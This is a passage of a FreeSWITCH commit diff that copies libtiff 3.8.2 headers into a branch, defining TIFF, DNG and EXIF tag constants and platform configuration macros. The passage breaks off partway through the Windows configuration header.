+#define	    COLORRESPONSEUNIT_10S	1	/* tenths of a unit */
+#define	    COLORRESPONSEUNIT_100S	2	/* hundredths of a unit */
+#define	    COLORRESPONSEUNIT_1000S	3	/* thousandths of a unit */
+#define	    COLORRESPONSEUNIT_10000S	4	/* ten-thousandths of a unit */
+#define	    COLORRESPONSEUNIT_100000S	5	/* hundred-thousandths */
+#define	TIFFTAG_TRANSFERFUNCTION	301	/* !colorimetry info */
+#define	TIFFTAG_SOFTWARE		305	/* name & release */
+#define	TIFFTAG_DATETIME		306	/* creation date and time */
+#define	TIFFTAG_ARTIST			315	/* creator of image */
+#define	TIFFTAG_HOSTCOMPUTER		316	/* machine where created */
+#define	TIFFTAG_PREDICTOR		317	/* prediction scheme w/ LZW */
+#define     PREDICTOR_NONE		1	/* no prediction scheme used */
+#define     PREDICTOR_HORIZONTAL	2	/* horizontal differencing */
+#define     PREDICTOR_FLOATINGPOINT	3	/* floating point predictor */
+#define	TIFFTAG_WHITEPOINT		318	/* image white point */
+#define	TIFFTAG_PRIMARYCHROMATICITIES	319	/* !primary chromaticities */
+#define	TIFFTAG_COLORMAP		320	/* RGB map for pallette image */
+#define	TIFFTAG_HALFTONEHINTS		321	/* !highlight+shadow info */
+#define	TIFFTAG_TILEWIDTH		322	/* !tile width in pixels */
+#define	TIFFTAG_TILELENGTH		323	/* !tile height in pixels */
+#define TIFFTAG_TILEOFFSETS		324	/* !offsets to data tiles */
+#define TIFFTAG_TILEBYTECOUNTS		325	/* !byte counts for tiles */
+#define	TIFFTAG_BADFAXLINES		326	/* lines w/ wrong pixel count */
+#define	TIFFTAG_CLEANFAXDATA		327	/* regenerated line info */
+#define	    CLEANFAXDATA_CLEAN		0	/* no errors detected */
+#define	    CLEANFAXDATA_REGENERATED	1	/* receiver regenerated lines */
+#define	    CLEANFAXDATA_UNCLEAN	2	/* uncorrected errors exist */
+#define	TIFFTAG_CONSECUTIVEBADFAXLINES	328	/* max consecutive bad lines */
+#define	TIFFTAG_SUBIFD			330	/* subimage descriptors */
+#define	TIFFTAG_INKSET			332	/* !inks in separated image */
+#define	    INKSET_CMYK			1	/* !cyan-magenta-yellow-black color */
+#define	    INKSET_MULTIINK		2	/* !multi-ink or hi-fi color */
+#define	TIFFTAG_INKNAMES		333	/* !ascii names of inks */
+#define	TIFFTAG_NUMBEROFINKS		334	/* !number of inks */
+#define	TIFFTAG_DOTRANGE		336	/* !0% and 100% dot codes */
+#define	TIFFTAG_TARGETPRINTER		337	/* !separation target */
+#define	TIFFTAG_EXTRASAMPLES		338	/* !info about extra samples */
+#define	    EXTRASAMPLE_UNSPECIFIED	0	/* !unspecified data */
+#define	    EXTRASAMPLE_ASSOCALPHA	1	/* !associated alpha data */
+#define	    EXTRASAMPLE_UNASSALPHA	2	/* !unassociated alpha data */
+#define	TIFFTAG_SAMPLEFORMAT		339	/* !data sample format */
+#define	    SAMPLEFORMAT_UINT		1	/* !unsigned integer data */
+#define	    SAMPLEFORMAT_INT		2	/* !signed integer data */
+#define	    SAMPLEFORMAT_IEEEFP		3	/* !IEEE floating point data */
+#define	    SAMPLEFORMAT_VOID		4	/* !untyped data */
+#define	    SAMPLEFORMAT_COMPLEXINT	5	/* !complex signed int */
+#define	    SAMPLEFORMAT_COMPLEXIEEEFP	6	/* !complex ieee floating */
+#define	TIFFTAG_SMINSAMPLEVALUE		340	/* !variable MinSampleValue */
+#define	TIFFTAG_SMAXSAMPLEVALUE		341	/* !variable MaxSampleValue */
+#define	TIFFTAG_CLIPPATH		343	/* %ClipPath
+						   [Adobe TIFF technote 2] */
+#define	TIFFTAG_XCLIPPATHUNITS		344	/* %XClipPathUnits
+						   [Adobe TIFF technote 2] */
+#define	TIFFTAG_YCLIPPATHUNITS		345	/* %YClipPathUnits
+						   [Adobe TIFF technote 2] */
+#define	TIFFTAG_INDEXED			346	/* %Indexed
+						   [Adobe TIFF Technote 3] */
+#define	TIFFTAG_JPEGTABLES		347	/* %JPEG table stream */
+#define	TIFFTAG_OPIPROXY		351	/* %OPI Proxy [Adobe TIFF technote] */
+/*
+ * Tags 512-521 are obsoleted by Technical Note #2 which specifies a
+ * revised JPEG-in-TIFF scheme.
+ */
+#define	TIFFTAG_JPEGPROC		512	/* !JPEG processing algorithm */
+#define	    JPEGPROC_BASELINE		1	/* !baseline sequential */
+#define	    JPEGPROC_LOSSLESS		14	/* !Huffman coded lossless */
+#define	TIFFTAG_JPEGIFOFFSET		513	/* !pointer to SOI marker */
+#define	TIFFTAG_JPEGIFBYTECOUNT		514	/* !JFIF stream length */
+#define	TIFFTAG_JPEGRESTARTINTERVAL	515	/* !restart interval length */
+#define	TIFFTAG_JPEGLOSSLESSPREDICTORS	517	/* !lossless proc predictor */
+#define	TIFFTAG_JPEGPOINTTRANSFORM	518	/* !lossless point transform */
+#define	TIFFTAG_JPEGQTABLES		519	/* !Q matrice offsets */
+#define	TIFFTAG_JPEGDCTABLES		520	/* !DCT table offsets */
+#define	TIFFTAG_JPEGACTABLES		521	/* !AC coefficient offsets */
+#define	TIFFTAG_YCBCRCOEFFICIENTS	529	/* !RGB -> YCbCr transform */
+#define	TIFFTAG_YCBCRSUBSAMPLING	530	/* !YCbCr subsampling factors */
+#define	TIFFTAG_YCBCRPOSITIONING	531	/* !subsample positioning */
+#define	    YCBCRPOSITION_CENTERED	1	/* !as in PostScript Level 2 */
+#define	    YCBCRPOSITION_COSITED	2	/* !as in CCIR 601-1 */
+#define	TIFFTAG_REFERENCEBLACKWHITE	532	/* !colorimetry info */
+#define	TIFFTAG_XMLPACKET		700	/* %XML packet
+						   [Adobe XMP Specification,
+						   January 2004 */
+#define TIFFTAG_OPIIMAGEID		32781	/* %OPI ImageID
+						   [Adobe TIFF technote] */
+/* tags 32952-32956 are private tags registered to Island Graphics */
+#define TIFFTAG_REFPTS			32953	/* image reference points */
+#define TIFFTAG_REGIONTACKPOINT		32954	/* region-xform tack point */
+#define TIFFTAG_REGIONWARPCORNERS	32955	/* warp quadrilateral */
+#define TIFFTAG_REGIONAFFINE		32956	/* affine transformation mat */
+/* tags 32995-32999 are private tags registered to SGI */
+#define	TIFFTAG_MATTEING		32995	/* $use ExtraSamples */
+#define	TIFFTAG_DATATYPE		32996	/* $use SampleFormat */
+#define	TIFFTAG_IMAGEDEPTH		32997	/* z depth of image */
+#define	TIFFTAG_TILEDEPTH		32998	/* z depth/data tile */
+/* tags 33300-33309 are private tags registered to Pixar */
+/*
+ * TIFFTAG_PIXAR_IMAGEFULLWIDTH and TIFFTAG_PIXAR_IMAGEFULLLENGTH
+ * are set when an image has been cropped out of a larger image.  
+ * They reflect the size of the original uncropped image.
+ * The TIFFTAG_XPOSITION and TIFFTAG_YPOSITION can be used
+ * to determine the position of the smaller image in the larger one.
+ */
+#define TIFFTAG_PIXAR_IMAGEFULLWIDTH    33300   /* full image size in x */
+#define TIFFTAG_PIXAR_IMAGEFULLLENGTH   33301   /* full image size in y */
+ /* Tags 33302-33306 are used to identify special image modes and data
+  * used by Pixar's texture formats.
+  */
+#define TIFFTAG_PIXAR_TEXTUREFORMAT	33302	/* texture map format */
+#define TIFFTAG_PIXAR_WRAPMODES		33303	/* s & t wrap modes */
+#define TIFFTAG_PIXAR_FOVCOT		33304	/* cotan(fov) for env. maps */
+#define TIFFTAG_PIXAR_MATRIX_WORLDTOSCREEN 33305
+#define TIFFTAG_PIXAR_MATRIX_WORLDTOCAMERA 33306
+/* tag 33405 is a private tag registered to Eastman Kodak */
+#define TIFFTAG_WRITERSERIALNUMBER      33405   /* device serial number */
+/* tag 33432 is listed in the 6.0 spec w/ unknown ownership */
+#define	TIFFTAG_COPYRIGHT		33432	/* copyright string */
+/* IPTC TAG from RichTIFF specifications */
+#define TIFFTAG_RICHTIFFIPTC		33723
+/* 34016-34029 are reserved for ANSI IT8 TIFF/IT <dkelly@apago.com) */
+#define TIFFTAG_IT8SITE			34016	/* site name */
+#define TIFFTAG_IT8COLORSEQUENCE	34017	/* color seq. [RGB,CMYK,etc] */
+#define TIFFTAG_IT8HEADER		34018	/* DDES Header */
+#define TIFFTAG_IT8RASTERPADDING	34019	/* raster scanline padding */
+#define TIFFTAG_IT8BITSPERRUNLENGTH	34020	/* # of bits in short run */
+#define TIFFTAG_IT8BITSPEREXTENDEDRUNLENGTH 34021/* # of bits in long run */
+#define TIFFTAG_IT8COLORTABLE		34022	/* LW colortable */
+#define TIFFTAG_IT8IMAGECOLORINDICATOR	34023	/* BP/BL image color switch */
+#define TIFFTAG_IT8BKGCOLORINDICATOR	34024	/* BP/BL bg color switch */
+#define TIFFTAG_IT8IMAGECOLORVALUE	34025	/* BP/BL image color value */
+#define TIFFTAG_IT8BKGCOLORVALUE	34026	/* BP/BL bg color value */
+#define TIFFTAG_IT8PIXELINTENSITYRANGE	34027	/* MP pixel intensity value */
+#define TIFFTAG_IT8TRANSPARENCYINDICATOR 34028	/* HC transparency switch */
+#define TIFFTAG_IT8COLORCHARACTERIZATION 34029	/* color character. table */
+#define TIFFTAG_IT8HCUSAGE		34030	/* HC usage indicator */
+#define TIFFTAG_IT8TRAPINDICATOR	34031	/* Trapping indicator
+						   (untrapped=0, trapped=1) */
+#define TIFFTAG_IT8CMYKEQUIVALENT	34032	/* CMYK color equivalents */
+/* tags 34232-34236 are private tags registered to Texas Instruments */
+#define TIFFTAG_FRAMECOUNT              34232   /* Sequence Frame Count */
+/* tag 34377 is private tag registered to Adobe for PhotoShop */
+#define TIFFTAG_PHOTOSHOP		34377 
+/* tags 34665, 34853 and 40965 are documented in EXIF specification */
+#define TIFFTAG_EXIFIFD			34665	/* Pointer to EXIF private directory */
+/* tag 34750 is a private tag registered to Adobe? */
+#define TIFFTAG_ICCPROFILE		34675	/* ICC profile data */
+/* tag 34750 is a private tag registered to Pixel Magic */
+#define	TIFFTAG_JBIGOPTIONS		34750	/* JBIG options */
+#define TIFFTAG_GPSIFD			34853	/* Pointer to GPS private directory */
+/* tags 34908-34914 are private tags registered to SGI */
+#define	TIFFTAG_FAXRECVPARAMS		34908	/* encoded Class 2 ses. parms */
+#define	TIFFTAG_FAXSUBADDRESS		34909	/* received SubAddr string */
+#define	TIFFTAG_FAXRECVTIME		34910	/* receive time (secs) */
+#define	TIFFTAG_FAXDCS			34911	/* encoded fax ses. params, Table 2/T.30 */
+/* tags 37439-37443 are registered to SGI <gregl@sgi.com> */
+#define TIFFTAG_STONITS			37439	/* Sample value to Nits */
+/* tag 34929 is a private tag registered to FedEx */
+#define	TIFFTAG_FEDEX_EDR		34929	/* unknown use */
+#define TIFFTAG_INTEROPERABILITYIFD	40965	/* Pointer to Interoperability private directory */
+/* Adobe Digital Negative (DNG) format tags */
+#define TIFFTAG_DNGVERSION		50706	/* &DNG version number */
+#define TIFFTAG_DNGBACKWARDVERSION	50707	/* &DNG compatibility version */
+#define TIFFTAG_UNIQUECAMERAMODEL	50708	/* &name for the camera model */
+#define TIFFTAG_LOCALIZEDCAMERAMODEL	50709	/* &localized camera model
+						   name */
+#define TIFFTAG_CFAPLANECOLOR		50710	/* &CFAPattern->LinearRaw space
+						   mapping */
+#define TIFFTAG_CFALAYOUT		50711	/* &spatial layout of the CFA */
+#define TIFFTAG_LINEARIZATIONTABLE	50712	/* &lookup table description */
+#define TIFFTAG_BLACKLEVELREPEATDIM	50713	/* &repeat pattern size for
+						   the BlackLevel tag */
+#define TIFFTAG_BLACKLEVEL		50714	/* &zero light encoding level */
+#define TIFFTAG_BLACKLEVELDELTAH	50715	/* &zero light encoding level
+						   differences (columns) */
+#define TIFFTAG_BLACKLEVELDELTAV	50716	/* &zero light encoding level
+						   differences (rows) */
+#define TIFFTAG_WHITELEVEL		50717	/* &fully saturated encoding
+						   level */
+#define TIFFTAG_DEFAULTSCALE		50718	/* &default scale factors */
+#define TIFFTAG_DEFAULTCROPORIGIN	50719	/* &origin of the final image
+						   area */
+#define TIFFTAG_DEFAULTCROPSIZE		50720	/* &size of the final image 
+						   area */
+#define TIFFTAG_COLORMATRIX1		50721	/* &XYZ->reference color space
+						   transformation matrix 1 */
+#define TIFFTAG_COLORMATRIX2		50722	/* &XYZ->reference color space
+						   transformation matrix 2 */
+#define TIFFTAG_CAMERACALIBRATION1	50723	/* &calibration matrix 1 */
+#define TIFFTAG_CAMERACALIBRATION2	50724	/* &calibration matrix 2 */
+#define TIFFTAG_REDUCTIONMATRIX1	50725	/* &dimensionality reduction
+						   matrix 1 */
+#define TIFFTAG_REDUCTIONMATRIX2	50726	/* &dimensionality reduction
+						   matrix 2 */
+#define TIFFTAG_ANALOGBALANCE		50727	/* &gain applied the stored raw
+						   values*/
+#define TIFFTAG_ASSHOTNEUTRAL		50728	/* &selected white balance in
+						   linear reference space */
+#define TIFFTAG_ASSHOTWHITEXY		50729	/* &selected white balance in
+						   x-y chromaticity
+						   coordinates */
+#define TIFFTAG_BASELINEEXPOSURE	50730	/* &how much to move the zero
+						   point */
+#define TIFFTAG_BASELINENOISE		50731	/* &relative noise level */
+#define TIFFTAG_BASELINESHARPNESS	50732	/* &relative amount of
+						   sharpening */
+#define TIFFTAG_BAYERGREENSPLIT		50733	/* &how closely the values of
+						   the green pixels in the
+						   blue/green rows track the
+						   values of the green pixels
+						   in the red/green rows */
+#define TIFFTAG_LINEARRESPONSELIMIT	50734	/* &non-linear encoding range */
+#define TIFFTAG_CAMERASERIALNUMBER	50735	/* &camera's serial number */
+#define TIFFTAG_LENSINFO		50736	/* info about the lens */
+#define TIFFTAG_CHROMABLURRADIUS	50737	/* &chroma blur radius */
+#define TIFFTAG_ANTIALIASSTRENGTH	50738	/* &relative strength of the
+						   camera's anti-alias filter */
+#define TIFFTAG_SHADOWSCALE		50739	/* &used by Adobe Camera Raw */
+#define TIFFTAG_DNGPRIVATEDATA		50740	/* &manufacturer's private data */
+#define TIFFTAG_MAKERNOTESAFETY		50741	/* &whether the EXIF MakerNote
+						   tag is safe to preserve
+						   along with the rest of the
+						   EXIF data */
+#define	TIFFTAG_CALIBRATIONILLUMINANT1	50778	/* &illuminant 1 */
+#define TIFFTAG_CALIBRATIONILLUMINANT2	50779	/* &illuminant 2 */
+#define TIFFTAG_BESTQUALITYSCALE	50780	/* &best quality multiplier */
+#define TIFFTAG_RAWDATAUNIQUEID		50781	/* &unique identifier for
+						   the raw image data */
+#define TIFFTAG_ORIGINALRAWFILENAME	50827	/* &file name of the original
+						   raw file */
+#define TIFFTAG_ORIGINALRAWFILEDATA	50828	/* &contents of the original
+						   raw file */
+#define TIFFTAG_ACTIVEAREA		50829	/* &active (non-masked) pixels
+						   of the sensor */
+#define TIFFTAG_MASKEDAREAS		50830	/* &list of coordinates
+						   of fully masked pixels */
+#define TIFFTAG_ASSHOTICCPROFILE	50831	/* &these two tags used to */
+#define TIFFTAG_ASSHOTPREPROFILEMATRIX	50832	/* map cameras's color space
+						   into ICC profile space */
+#define TIFFTAG_CURRENTICCPROFILE	50833	/* & */
+#define TIFFTAG_CURRENTPREPROFILEMATRIX	50834	/* & */
+/* tag 65535 is an undefined tag used by Eastman Kodak */
+#define TIFFTAG_DCSHUESHIFTVALUES       65535   /* hue shift correction data */
+
+/*
+ * The following are ``pseudo tags'' that can be used to control
+ * codec-specific functionality.  These tags are not written to file.
+ * Note that these values start at 0xffff+1 so that they'll never
+ * collide with Aldus-assigned tags.
+ *
+ * If you want your private pseudo tags ``registered'' (i.e. added to
+ * this file), please post a bug report via the tracking system at
+ * http://www.remotesensing.org/libtiff/bugs.html with the appropriate
+ * C definitions to add.
+ */
+#define	TIFFTAG_FAXMODE			65536	/* Group 3/4 format control */
+#define	    FAXMODE_CLASSIC	0x0000		/* default, include RTC */
+#define	    FAXMODE_NORTC	0x0001		/* no RTC at end of data */
+#define	    FAXMODE_NOEOL	0x0002		/* no EOL code at end of row */
+#define	    FAXMODE_BYTEALIGN	0x0004		/* byte align row */
+#define	    FAXMODE_WORDALIGN	0x0008		/* word align row */
+#define	    FAXMODE_CLASSF	FAXMODE_NORTC	/* TIFF Class F */
+#define	TIFFTAG_JPEGQUALITY		65537	/* Compression quality level */
+/* Note: quality level is on the IJG 0-100 scale.  Default value is 75 */
+#define	TIFFTAG_JPEGCOLORMODE		65538	/* Auto RGB<=>YCbCr convert? */
+#define	    JPEGCOLORMODE_RAW	0x0000		/* no conversion (default) */
+#define	    JPEGCOLORMODE_RGB	0x0001		/* do auto conversion */
+#define	TIFFTAG_JPEGTABLESMODE		65539	/* What to put in JPEGTables */
+#define	    JPEGTABLESMODE_QUANT 0x0001		/* include quantization tbls */
+#define	    JPEGTABLESMODE_HUFF	0x0002		/* include Huffman tbls */
+/* Note: default is JPEGTABLESMODE_QUANT | JPEGTABLESMODE_HUFF */
+#define	TIFFTAG_FAXFILLFUNC		65540	/* G3/G4 fill function */
+#define	TIFFTAG_PIXARLOGDATAFMT		65549	/* PixarLogCodec I/O data sz */
+#define	    PIXARLOGDATAFMT_8BIT	0	/* regular u_char samples */
+#define	    PIXARLOGDATAFMT_8BITABGR	1	/* ABGR-order u_chars */
+#define	    PIXARLOGDATAFMT_11BITLOG	2	/* 11-bit log-encoded (raw) */
+#define	    PIXARLOGDATAFMT_12BITPICIO	3	/* as per PICIO (1.0==2048) */
+#define	    PIXARLOGDATAFMT_16BIT	4	/* signed short samples */
+#define	    PIXARLOGDATAFMT_FLOAT	5	/* IEEE float samples */
+/* 65550-65556 are allocated to Oceana Matrix <dev@oceana.com> */
+#define TIFFTAG_DCSIMAGERTYPE           65550   /* imager model & filter */
+#define     DCSIMAGERMODEL_M3           0       /* M3 chip (1280 x 1024) */
+#define     DCSIMAGERMODEL_M5           1       /* M5 chip (1536 x 1024) */
+#define     DCSIMAGERMODEL_M6           2       /* M6 chip (3072 x 2048) */
+#define     DCSIMAGERFILTER_IR          0       /* infrared filter */
+#define     DCSIMAGERFILTER_MONO        1       /* monochrome filter */
+#define     DCSIMAGERFILTER_CFA         2       /* color filter array */
+#define     DCSIMAGERFILTER_OTHER       3       /* other filter */
+#define TIFFTAG_DCSINTERPMODE           65551   /* interpolation mode */
+#define     DCSINTERPMODE_NORMAL        0x0     /* whole image, default */
+#define     DCSINTERPMODE_PREVIEW       0x1     /* preview of image (384x256) */
+#define TIFFTAG_DCSBALANCEARRAY         65552   /* color balance values */
+#define TIFFTAG_DCSCORRECTMATRIX        65553   /* color correction values */
+#define TIFFTAG_DCSGAMMA                65554   /* gamma value */
+#define TIFFTAG_DCSTOESHOULDERPTS       65555   /* toe & shoulder points */
+#define TIFFTAG_DCSCALIBRATIONFD        65556   /* calibration file desc */
+/* Note: quality level is on the ZLIB 1-9 scale. Default value is -1 */
+#define	TIFFTAG_ZIPQUALITY		65557	/* compression quality level */
+#define	TIFFTAG_PIXARLOGQUALITY		65558	/* PixarLog uses same scale */
+/* 65559 is allocated to Oceana Matrix <dev@oceana.com> */
+#define TIFFTAG_DCSCLIPRECTANGLE	65559	/* area of image to acquire */
+#define TIFFTAG_SGILOGDATAFMT		65560	/* SGILog user data format */
+#define     SGILOGDATAFMT_FLOAT		0	/* IEEE float samples */
+#define     SGILOGDATAFMT_16BIT		1	/* 16-bit samples */
+#define     SGILOGDATAFMT_RAW		2	/* uninterpreted data */
+#define     SGILOGDATAFMT_8BIT		3	/* 8-bit RGB monitor values */
+#define TIFFTAG_SGILOGENCODE		65561 /* SGILog data encoding control*/
+#define     SGILOGENCODE_NODITHER	0     /* do not dither encoded values*/
+#define     SGILOGENCODE_RANDITHER	1     /* randomly dither encd values */
+
+/*
+ * EXIF tags
+ */
+#define EXIFTAG_EXPOSURETIME		33434	/* Exposure time */
+#define EXIFTAG_FNUMBER			33437	/* F number */
+#define EXIFTAG_EXPOSUREPROGRAM		34850	/* Exposure program */
+#define EXIFTAG_SPECTRALSENSITIVITY	34852	/* Spectral sensitivity */
+#define EXIFTAG_ISOSPEEDRATINGS		34855	/* ISO speed rating */
+#define EXIFTAG_OECF			34856	/* Optoelectric conversion
+						   factor */
+#define EXIFTAG_EXIFVERSION		36864	/* Exif version */
+#define EXIFTAG_DATETIMEORIGINAL	36867	/* Date and time of original
+						   data generation */
+#define EXIFTAG_DATETIMEDIGITIZED	36868	/* Date and time of digital
+						   data generation */
+#define EXIFTAG_COMPONENTSCONFIGURATION	37121	/* Meaning of each component */
+#define EXIFTAG_COMPRESSEDBITSPERPIXEL	37122	/* Image compression mode */
+#define EXIFTAG_SHUTTERSPEEDVALUE	37377	/* Shutter speed */
+#define EXIFTAG_APERTUREVALUE		37378	/* Aperture */
+#define EXIFTAG_BRIGHTNESSVALUE		37379	/* Brightness */
+#define EXIFTAG_EXPOSUREBIASVALUE	37380	/* Exposure bias */
+#define EXIFTAG_MAXAPERTUREVALUE	37381	/* Maximum lens aperture */
+#define EXIFTAG_SUBJECTDISTANCE		37382	/* Subject distance */
+#define EXIFTAG_METERINGMODE		37383	/* Metering mode */
+#define EXIFTAG_LIGHTSOURCE		37384	/* Light source */
+#define EXIFTAG_FLASH			37385	/* Flash */
+#define EXIFTAG_FOCALLENGTH		37386	/* Lens focal length */
+#define EXIFTAG_SUBJECTAREA		37396	/* Subject area */
+#define EXIFTAG_MAKERNOTE		37500	/* Manufacturer notes */
+#define EXIFTAG_USERCOMMENT		37510	/* User comments */
+#define EXIFTAG_SUBSECTIME		37520	/* DateTime subseconds */
+#define EXIFTAG_SUBSECTIMEORIGINAL	37521	/* DateTimeOriginal subseconds */
+#define EXIFTAG_SUBSECTIMEDIGITIZED	37522	/* DateTimeDigitized subseconds */
+#define EXIFTAG_FLASHPIXVERSION		40960	/* Supported Flashpix version */
+#define EXIFTAG_COLORSPACE		40961	/* Color space information */
+#define EXIFTAG_PIXELXDIMENSION		40962	/* Valid image width */
+#define EXIFTAG_PIXELYDIMENSION		40963	/* Valid image height */
+#define EXIFTAG_RELATEDSOUNDFILE	40964	/* Related audio file */
+#define EXIFTAG_FLASHENERGY		41483	/* Flash energy */
+#define EXIFTAG_SPATIALFREQUENCYRESPONSE 41484	/* Spatial frequency response */
+#define EXIFTAG_FOCALPLANEXRESOLUTION	41486	/* Focal plane X resolution */
+#define EXIFTAG_FOCALPLANEYRESOLUTION	41487	/* Focal plane Y resolution */
+#define EXIFTAG_FOCALPLANERESOLUTIONUNIT 41488	/* Focal plane resolution unit */
+#define EXIFTAG_SUBJECTLOCATION		41492	/* Subject location */
+#define EXIFTAG_EXPOSUREINDEX		41493	/* Exposure index */
+#define EXIFTAG_SENSINGMETHOD		41495	/* Sensing method */
+#define EXIFTAG_FILESOURCE		41728	/* File source */
+#define EXIFTAG_SCENETYPE		41729	/* Scene type */
+#define EXIFTAG_CFAPATTERN		41730	/* CFA pattern */
+#define EXIFTAG_CUSTOMRENDERED		41985	/* Custom image processing */
+#define EXIFTAG_EXPOSUREMODE		41986	/* Exposure mode */
+#define EXIFTAG_WHITEBALANCE		41987	/* White balance */
+#define EXIFTAG_DIGITALZOOMRATIO	41988	/* Digital zoom ratio */
+#define EXIFTAG_FOCALLENGTHIN35MMFILM	41989	/* Focal length in 35 mm film */
+#define EXIFTAG_SCENECAPTURETYPE	41990	/* Scene capture type */
+#define EXIFTAG_GAINCONTROL		41991	/* Gain control */
+#define EXIFTAG_CONTRAST		41992	/* Contrast */
+#define EXIFTAG_SATURATION		41993	/* Saturation */
+#define EXIFTAG_SHARPNESS		41994	/* Sharpness */
+#define EXIFTAG_DEVICESETTINGDESCRIPTION 41995	/* Device settings description */
+#define EXIFTAG_SUBJECTDISTANCERANGE	41996	/* Subject distance range */
+#define EXIFTAG_GAINCONTROL		41991	/* Gain control */
+#define EXIFTAG_GAINCONTROL		41991	/* Gain control */
+#define EXIFTAG_IMAGEUNIQUEID		42016	/* Unique image ID */
+
+#endif /* _TIFF_ */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tiffconf.h.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,100 @@
+/*
+  Configuration defines for installed libtiff.
+  This file maintained for backward compatibility. Do not use definitions
+  from this file in your programs.
+*/
+
+#ifndef _TIFFCONF_
+#define _TIFFCONF_
+
+/* Define to 1 if the system has the type `int16'. */
+#undef HAVE_INT16
+
+/* Define to 1 if the system has the type `int32'. */
+#undef HAVE_INT32
+
+/* Define to 1 if the system has the type `int8'. */
+#undef HAVE_INT8
+
+/* The size of a `int', as computed by sizeof. */
+#undef SIZEOF_INT
+
+/* The size of a `long', as computed by sizeof. */
+#undef SIZEOF_LONG
+
+/* Compatibility stuff. */
+
+/* Define as 0 or 1 according to the floating point format suported by the
+   machine */
+#undef HAVE_IEEEFP
+
+/* Set the native cpu bit order (FILLORDER_LSB2MSB or FILLORDER_MSB2LSB) */
+#undef HOST_FILLORDER
+
+/* Native cpu byte order: 1 if big-endian (Motorola) or 0 if little-endian
+   (Intel) */
+#undef HOST_BIGENDIAN
+
+/* Support CCITT Group 3 & 4 algorithms */
+#undef CCITT_SUPPORT
+
+/* Support JPEG compression (requires IJG JPEG library) */
+#undef JPEG_SUPPORT
+
+/* Support LogLuv high dynamic range encoding */
+#undef LOGLUV_SUPPORT
+
+/* Support LZW algorithm */
+#undef LZW_SUPPORT
+
+/* Support NeXT 2-bit RLE algorithm */
+#undef NEXT_SUPPORT
+
+/* Support Old JPEG compresson (read contrib/ojpeg/README first! Compilation
+   fails with unpatched IJG JPEG library) */
+#undef OJPEG_SUPPORT
+
+/* Support Macintosh PackBits algorithm */
+#undef PACKBITS_SUPPORT
+
+/* Support Pixar log-format algorithm (requires Zlib) */
+#undef PIXARLOG_SUPPORT
+
+/* Support ThunderScan 4-bit RLE algorithm */
+#undef THUNDER_SUPPORT
+
+/* Support Deflate compression */
+#undef ZIP_SUPPORT
+
+/* Support strip chopping (whether or not to convert single-strip uncompressed
+   images to mutiple strips of ~8Kb to reduce memory usage) */
+#undef STRIPCHOP_DEFAULT
+
+/* Enable SubIFD tag (330) support */
+#undef SUBIFD_SUPPORT
+
+/* Treat extra sample as alpha (default enabled). The RGBA interface will
+   treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA. Many
+   packages produce RGBA files but don't mark the alpha properly. */
+#undef DEFAULT_EXTRASAMPLE_AS_ALPHA
+
+/* Pick up YCbCr subsampling info from the JPEG data stream to support files
+   lacking the tag (default enabled). */
+#undef CHECK_JPEG_YCBCR_SUBSAMPLING
+
+/* Support MS MDI magic number files as TIFF */
+#undef MDI_SUPPORT
+
+/*
+ * Feature support definitions.
+ * XXX: These macros are obsoleted. Don't use them in your apps!
+ * Macros stays here for backward compatibility and should be always defined.
+ */
+#define COLORIMETRY_SUPPORT
+#define YCBCR_SUPPORT
+#define CMYK_SUPPORT
+#define ICC_SUPPORT
+#define PHOTOSHOP_SUPPORT
+#define IPTC_SUPPORT
+
+#endif /* _TIFFCONF_ */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.vc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.vc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tiffconf.h.vc) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.vc	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffconf.h.vc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,97 @@
+/*
+  Configuration defines for installed libtiff.
+  This file maintained for backward compatibility. Do not use definitions
+  from this file in your programs.
+*/
+
+#ifndef _TIFFCONF_
+#define _TIFFCONF_
+
+/* Define to 1 if the system has the type `int16'. */
+/* #undef HAVE_INT16 */
+
+/* Define to 1 if the system has the type `int32'. */
+/* #undef HAVE_INT32 */
+
+/* Define to 1 if the system has the type `int8'. */
+/* #undef HAVE_INT8 */
+
+/* The size of a `int', as computed by sizeof. */
+#define SIZEOF_INT 4
+
+/* The size of a `long', as computed by sizeof. */
+#define SIZEOF_LONG 4
+
+/* Compatibility stuff. */
+
+/* Define as 0 or 1 according to the floating point format suported by the
+   machine */
+#define HAVE_IEEEFP 1
+
+/* Set the native cpu bit order (FILLORDER_LSB2MSB or FILLORDER_MSB2LSB) */
+#define HOST_FILLORDER FILLORDER_LSB2MSB
+
+/* Native cpu byte order: 1 if big-endian (Motorola) or 0 if little-endian
+   (Intel) */
+#define HOST_BIGENDIAN 0
+
+/* Support CCITT Group 3 & 4 algorithms */
+#define CCITT_SUPPORT 1
+
+/* Support JPEG compression (requires IJG JPEG library) */
+/* #undef JPEG_SUPPORT */
+
+/* Support LogLuv high dynamic range encoding */
+#define LOGLUV_SUPPORT 1
+
+/* Support LZW algorithm */
+#define LZW_SUPPORT 1
+
+/* Support NeXT 2-bit RLE algorithm */
+#define NEXT_SUPPORT 1
+
+/* Support Old JPEG compresson (read contrib/ojpeg/README first! Compilation
+   fails with unpatched IJG JPEG library) */
+/* #undef OJPEG_SUPPORT */
+
+/* Support Macintosh PackBits algorithm */
+#define PACKBITS_SUPPORT 1
+
+/* Support Pixar log-format algorithm (requires Zlib) */
+/* #undef PIXARLOG_SUPPORT */
+
+/* Support ThunderScan 4-bit RLE algorithm */
+#define THUNDER_SUPPORT 1
+
+/* Support Deflate compression */
+/* #undef ZIP_SUPPORT */
+
+/* Support strip chopping (whether or not to convert single-strip uncompressed
